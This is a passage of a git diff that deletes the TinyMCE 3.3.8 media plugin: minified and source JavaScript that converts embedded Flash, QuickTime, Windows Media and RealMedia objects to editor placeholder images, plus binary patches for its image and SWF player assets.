$1>');d=d.replace(/<\/(object)([^>]*)>/gi,"</span>");d=d.replace(/<\/embed>/gi,"");d=d.replace(/<param([^>]*)>/gi,function(g,f){return"<span "+f.replace(/value=/gi,"_mce_value=")+' class="mceItemParam"></span>'});d=d.replace(/\/ class=\"mceItemParam\"><\/span>/gi,'class="mceItemParam"></span>');e.content=d},_buildObj:function(g,h){var d,c=this.editor,f=c.dom,e=this._parse(h.title),b;b=c.getParam("media_strict",true)&&g.type=="application/x-shockwave-flash";e.width=g.width=f.getAttrib(h,"width")||100;e.height=g.height=f.getAttrib(h,"height")||100;if(e.src){e.src=c.convertURL(e.src,"src",h)}if(b){d=f.create("span",{id:e.id,_mce_name:"object",type:"application/x-shockwave-flash",data:e.src,style:f.getAttrib(h,"style"),width:g.width,height:g.height})}else{d=f.create("span",{id:e.id,_mce_name:"object",classid:"clsid:"+g.classid,style:f.getAttrib(h,"style"),codebase:g.codebase,width:g.width,height:g.height})}a(e,function(j,i){if(!/^(width|height|codebase|classid|id|_cx|_cy)$/.test(i)){if(g.type=="application/x-mplayer2"&&i=="src"&&!e.url){i="url"}if(j){f.add(d,"span",{_mce_name:"param",name:i,_mce_value:j})}}});if(!b){f.add(d,"span",tinymce.extend({_mce_name:"embed",type:g.type,style:f.getAttrib(h,"style")},e))}return d},_spansToImgs:function(e){var d=this,f=d.editor.dom,b,c;a(f.select("span",e),function(g){if(f.getAttrib(g,"class")=="mceItemObject"){c=f.getAttrib(g,"classid").toLowerCase().replace(/\s+/g,"");switch(c){case"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000":f.replace(d._createImg("mceItemFlash",g),g);break;case"clsid:166b1bca-3f9c-11cf-8075-444553540000":f.replace(d._createImg("mceItemShockWave",g),g);break;case"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6":case"clsid:22d6f312-b0f6-11d0-94ab-0080c74c7e95":case"clsid:05589fa1-c356-11ce-bf01-00aa0055595a":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}return}if(f.getAttrib(g,"class")=="mceItemEmbed"){switch(f.getAttrib(g,"type")){case"application/x-shockwave-flash":f.replace(d._createImg("mceItemFlash",g),g);break;case"application/x-director":f.replace(d._createImg("mceItemShockWave",g),g);break;case"application/x-mplayer2":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"video/quicktime":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"audio/x-pn-realaudio-plugin":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}}})},_createImg:function(c,h){var b,g=this.editor.dom,f={},e="",d;d=["id","name","width","height","bgcolor","align","flashvars","src","wmode","allowfullscreen","quality","data"];b=g.create("img",{src:this.url+"/img/trans.gif",width:g.getAttrib(h,"width")||100,height:g.getAttrib(h,"height")||100,style:g.getAttrib(h,"style"),"class":c});a(d,function(i){var j=g.getAttrib(h,i);if(j){f[i]=j}});a(g.select("span",h),function(i){if(g.hasClass(i,"mceItemParam")){f[g.getAttrib(i,"name")]=g.getAttrib(i,"_mce_value")}});if(f.movie){f.src=f.movie;delete f.movie}if(!f.src){f.src=f.data;delete f.data}h=g.select(".mceItemEmbed",h)[0];if(h){a(d,function(i){var j=g.getAttrib(h,i);if(j&&!f[i]){f[i]=j}})}delete f.width;delete f.height;b.title=this._serialize(f);return b},_parse:function(b){return tinymce.util.JSON.parse("{"+b+"}")},_serialize:function(b){return tinymce.util.JSON.serialize(b).replace(/[{}]/g,"")}});tinymce.PluginManager.add("media",tinymce.plugins.MediaPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin_src.js deleted file mode 100644 index fc84e5b..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin_src.js +++ /dev/null @@ -1,414 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var each = tinymce.each; - - tinymce.create('tinymce.plugins.MediaPlugin', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - t.url = url; - - function isMediaElm(n) { - return /^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(n.className); - }; - - ed.onPreInit.add(function() { - // Force in _value parameter this extra parameter is required for older Opera versions - ed.serializer.addRules('param[name|value|_mce_value]'); - }); - - // Register commands - ed.addCommand('mceMedia', function() { - ed.windowManager.open({ - file : url + '/media.htm', - width : 430 + parseInt(ed.getLang('media.delta_width', 0)), - height : 470 + parseInt(ed.getLang('media.delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('media', {title : 'media.desc', cmd : 'mceMedia'}); - - ed.onNodeChange.add(function(ed, cm, n) { - cm.setActive('media', n.nodeName == 'IMG' && isMediaElm(n)); - }); - - ed.onInit.add(function() { - var lo = { - mceItemFlash : 'flash', - mceItemShockWave : 'shockwave', - mceItemWindowsMedia : 'windowsmedia', - mceItemQuickTime : 'quicktime', - mceItemRealMedia : 'realmedia' - }; - - ed.selection.onSetContent.add(function() { - t._spansToImgs(ed.getBody()); - }); - - ed.selection.onBeforeSetContent.add(t._objectsToSpans, t); - - if (ed.settings.content_css !== false) - ed.dom.loadCSS(url + "/css/content.css"); - - if (ed.theme && ed.theme.onResolveName) { - ed.theme.onResolveName.add(function(th, o) { - if (o.name == 'img') { - each(lo, function(v, k) { - if (ed.dom.hasClass(o.node, k)) { - o.name = v; - o.title = ed.dom.getAttrib(o.node, 'title'); - return false; - } - }); - } - }); - } - - if (ed && ed.plugins.contextmenu) { - ed.plugins.contextmenu.onContextMenu.add(function(th, m, e) { - if (e.nodeName == 'IMG' && /mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(e.className)) { - m.add({title : 'media.edit', icon : 'media', cmd : 'mceMedia'}); - } - }); - } - }); - - ed.onBeforeSetContent.add(t._objectsToSpans, t); - - ed.onSetContent.add(function() { - t._spansToImgs(ed.getBody()); - }); - - ed.onPreProcess.add(function(ed, o) { - var dom = ed.dom; - - if (o.set) { - t._spansToImgs(o.node); - - each(dom.select('IMG', o.node), function(n) { - var p; - - if (isMediaElm(n)) { - p = t._parse(n.title); - dom.setAttrib(n, 'width', dom.getAttrib(n, 'width', p.width || 100)); - dom.setAttrib(n, 'height', dom.getAttrib(n, 'height', p.height || 100)); - } - }); - } - - if (o.get) { - each(dom.select('IMG', o.node), function(n) { - var ci, cb, mt; - - if (ed.getParam('media_use_script')) { - if (isMediaElm(n)) - n.className = n.className.replace(/mceItem/g, 'mceTemp'); - - return; - } - - switch (n.className) { - case 'mceItemFlash': - ci = 'd27cdb6e-ae6d-11cf-96b8-444553540000'; - cb = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'; - mt = 'application/x-shockwave-flash'; - break; - - case 'mceItemShockWave': - ci = '166b1bca-3f9c-11cf-8075-444553540000'; - cb = 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0'; - mt = 'application/x-director'; - break; - - case 'mceItemWindowsMedia': - ci = ed.getParam('media_wmp6_compatible') ? '05589fa1-c356-11ce-bf01-00aa0055595a' : '6bf52a52-394a-11d3-b153-00c04f79faa6'; - cb = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701'; - mt = 'application/x-mplayer2'; - break; - - case 'mceItemQuickTime': - ci = '02bf25d5-8c17-4b23-bc80-d3488abddc6b'; - cb = 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0'; - mt = 'video/quicktime'; - break; - - case 'mceItemRealMedia': - ci = 'cfcdaa03-8be4-11cf-b84b-0020afbbccfa'; - cb = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'; - mt = 'audio/x-pn-realaudio-plugin'; - break; - } - - if (ci) { - dom.replace(t._buildObj({ - classid : ci, - codebase : cb, - type : mt - }, n), n); - } - }); - } - }); - - ed.onPostProcess.add(function(ed, o) { - o.content = o.content.replace(/_mce_value=/g, 'value='); - }); - - function getAttr(s, n) { - n = new RegExp(n + '=\"([^\"]+)\"', 'g').exec(s); - - return n ? ed.dom.decode(n[1]) : ''; - }; - - ed.onPostProcess.add(function(ed, o) { - if (ed.getParam('media_use_script')) { - o.content = o.content.replace(/<img[^>]+>/g, function(im) { - var cl = getAttr(im, 'class'); - - if (/^(mceTempFlash|mceTempShockWave|mceTempWindowsMedia|mceTempQuickTime|mceTempRealMedia)$/.test(cl)) { - at = t._parse(getAttr(im, 'title')); - at.width = getAttr(im, 'width'); - at.height = getAttr(im, 'height'); - im = '<script type="text/javascript">write' + cl.substring(7) + '({' + t._serialize(at) + '});</script>'; - } - - return im; - }); - } - }); - }, - - getInfo : function() { - return { - longname : 'Media', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/media', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - _objectsToSpans : function(ed, o) { - var t = this, h = o.content; - - h = h.replace(/<script[^>]*>\s*write(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)\(\{([^\)]*)\}\);\s*<\/script>/gi, function(a, b, c) { - var o = t._parse(c); - - return '<img class="mceItem' + b + '" title="' + ed.dom.encode(c) + '" src="' + t.url + '/img/trans.gif" width="' + o.width + '" height="' + o.height + '" />' - }); - - h = h.replace(/<object([^>]*)>/gi, '<span class="mceItemObject" $1>'); - h = h.replace(/<embed([^>]*)\/?>/gi, '<span class="mceItemEmbed" $1></span>'); - h = h.replace(/<embed([^>]*)>/gi, '<span class="mceItemEmbed" $1>'); - h = h.replace(/<\/(object)([^>]*)>/gi, '</span>'); - h = h.replace(/<\/embed>/gi, ''); - h = h.replace(/<param([^>]*)>/gi, function(a, b) {return '<span ' + b.replace(/value=/gi, '_mce_value=') + ' class="mceItemParam"></span>'}); - h = h.replace(/\/ class=\"mceItemParam\"><\/span>/gi, 'class="mceItemParam"></span>'); - - o.content = h; - }, - - _buildObj : function(o, n) { - var ob, ed = this.editor, dom = ed.dom, p = this._parse(n.title), stc; - - stc = ed.getParam('media_strict', true) && o.type == 'application/x-shockwave-flash'; - - p.width = o.width = dom.getAttrib(n, 'width') || 100; - p.height = o.height = dom.getAttrib(n, 'height') || 100; - - if (p.src) - p.src = ed.convertURL(p.src, 'src', n); - - if (stc) { - ob = dom.create('span', { - id : p.id, - _mce_name : 'object', - type : 'application/x-shockwave-flash', - data : p.src, - style : dom.getAttrib(n, 'style'), - width : o.width, - height : o.height - }); - } else { - ob = dom.create('span', { - id : p.id, - _mce_name : 'object', - classid : "clsid:" + o.classid, - style : dom.getAttrib(n, 'style'), - codebase : o.codebase, - width : o.width, - height : o.height - }); - } - - each (p, function(v, k) { - if (!/^(width|height|codebase|classid|id|_cx|_cy)$/.test(k)) { - // Use url instead of src in IE for Windows media - if (o.type == 'application/x-mplayer2' && k == 'src' && !p.url) - k = 'url'; - - if (v) - dom.add(ob, 'span', {_mce_name : 'param', name : k, '_mce_value' : v}); - } - }); - - if (!stc) - dom.add(ob, 'span', tinymce.extend({_mce_name : 'embed', type : o.type, style : dom.getAttrib(n, 'style')}, p)); - - return ob; - }, - - _spansToImgs : function(p) { - var t = this, dom = t.editor.dom, im, ci; - - each(dom.select('span', p), function(n) { - // Convert object into image - if (dom.getAttrib(n, 'class') == 'mceItemObject') { - ci = dom.getAttrib(n, "classid").toLowerCase().replace(/\s+/g, ''); - - switch (ci) { - case 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000': - dom.replace(t._createImg('mceItemFlash', n), n); - break; - - case 'clsid:166b1bca-3f9c-11cf-8075-444553540000': - dom.replace(t._createImg('mceItemShockWave', n), n); - break; - - case 'clsid:6bf52a52-394a-11d3-b153-00c04f79faa6': - case 'clsid:22d6f312-b0f6-11d0-94ab-0080c74c7e95': - case 'clsid:05589fa1-c356-11ce-bf01-00aa0055595a': - dom.replace(t._createImg('mceItemWindowsMedia', n), n); - break; - - case 'clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b': - dom.replace(t._createImg('mceItemQuickTime', n), n); - break; - - case 'clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa': - dom.replace(t._createImg('mceItemRealMedia', n), n); - break; - - default: - dom.replace(t._createImg('mceItemFlash', n), n); - } - - return; - } - - // Convert embed into image - if (dom.getAttrib(n, 'class') == 'mceItemEmbed') { - switch (dom.getAttrib(n, 'type')) { - case 'application/x-shockwave-flash': - dom.replace(t._createImg('mceItemFlash', n), n); - break; - - case 'application/x-director': - dom.replace(t._createImg('mceItemShockWave', n), n); - break; - - case 'application/x-mplayer2': - dom.replace(t._createImg('mceItemWindowsMedia', n), n); - break; - - case 'video/quicktime': - dom.replace(t._createImg('mceItemQuickTime', n), n); - break; - - case 'audio/x-pn-realaudio-plugin': - dom.replace(t._createImg('mceItemRealMedia', n), n); - break; - - default: - dom.replace(t._createImg('mceItemFlash', n), n); - } - } - }); - }, - - _createImg : function(cl, n) { - var im, dom = this.editor.dom, pa = {}, ti = '', args; - - args = ['id', 'name', 'width', 'height', 'bgcolor', 'align', 'flashvars', 'src', 'wmode', 'allowfullscreen', 'quality', 'data']; - - // Create image - im = dom.create('img', { - src : this.url + '/img/trans.gif', - width : dom.getAttrib(n, 'width') || 100, - height : dom.getAttrib(n, 'height') || 100, - style : dom.getAttrib(n, 'style'), - 'class' : cl - }); - - // Setup base parameters - each(args, function(na) { - var v = dom.getAttrib(n, na); - - if (v) - pa[na] = v; - }); - - // Add optional parameters - each(dom.select('span', n), function(n) { - if (dom.hasClass(n, 'mceItemParam')) - pa[dom.getAttrib(n, 'name')] = dom.getAttrib(n, '_mce_value'); - }); - - // Use src not movie - if (pa.movie) { - pa.src = pa.movie; - delete pa.movie; - } - - // No src try data - if (!pa.src) { - pa.src = pa.data; - delete pa.data; - } - - // Merge with embed args - n = dom.select('.mceItemEmbed', n)[0]; - if (n) { - each(args, function(na) { - var v = dom.getAttrib(n, na); - - if (v && !pa[na]) - pa[na] = v; - }); - } - - delete pa.width; - delete pa.height; - - im.title = this._serialize(pa); - - return im; - }, - - _parse : function(s) { - return tinymce.util.JSON.parse('{' + s + '}'); - }, - - _serialize : function(o) { - return tinymce.util.JSON.serialize(o).replace(/[{}]/g, ''); - } - }); - - // Register plugin - tinymce.PluginManager.add('media', tinymce.plugins.MediaPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flash.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flash.gif deleted file mode 100644 index cb192e6ceda8d19ad8e7d08dd1cfde0aa72ead2a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 241 zcmV<N01p30Nk%w1VH5xq0K*9Y0w_vuilWKS*;Z<L?e6iex5E`&f8F2Yf{&g3{rv|x zTAiq{x5LtEeU6HouK)l5A^8LW000jFEC2ui02BZe000D@@X1N5y*NLz+8E73XoTQ2 zPEnkWFj@rD6vAN(MaR69(A0#W001z^1QkN-Ku9DA3WdRNF!3IR2Gf~vNCURRjDi4i ziw2sFfuQ^jTm~SjAlw@6+L>OzlLa+Za}7>m0&NpCfJ0FQc3~<M2Q3YA3WR}G4hIzs r9SQ&qC1C^&3>F7DE)S%o1)Qi1n@vxX46qnD4hRS-NE*Pw!4UvE=#^N( diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flv_player.swf b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flv_player.swf deleted file mode 100644 index 042c2ab969e98a6fdbe08848c4a73bd2c41de906..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11668 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 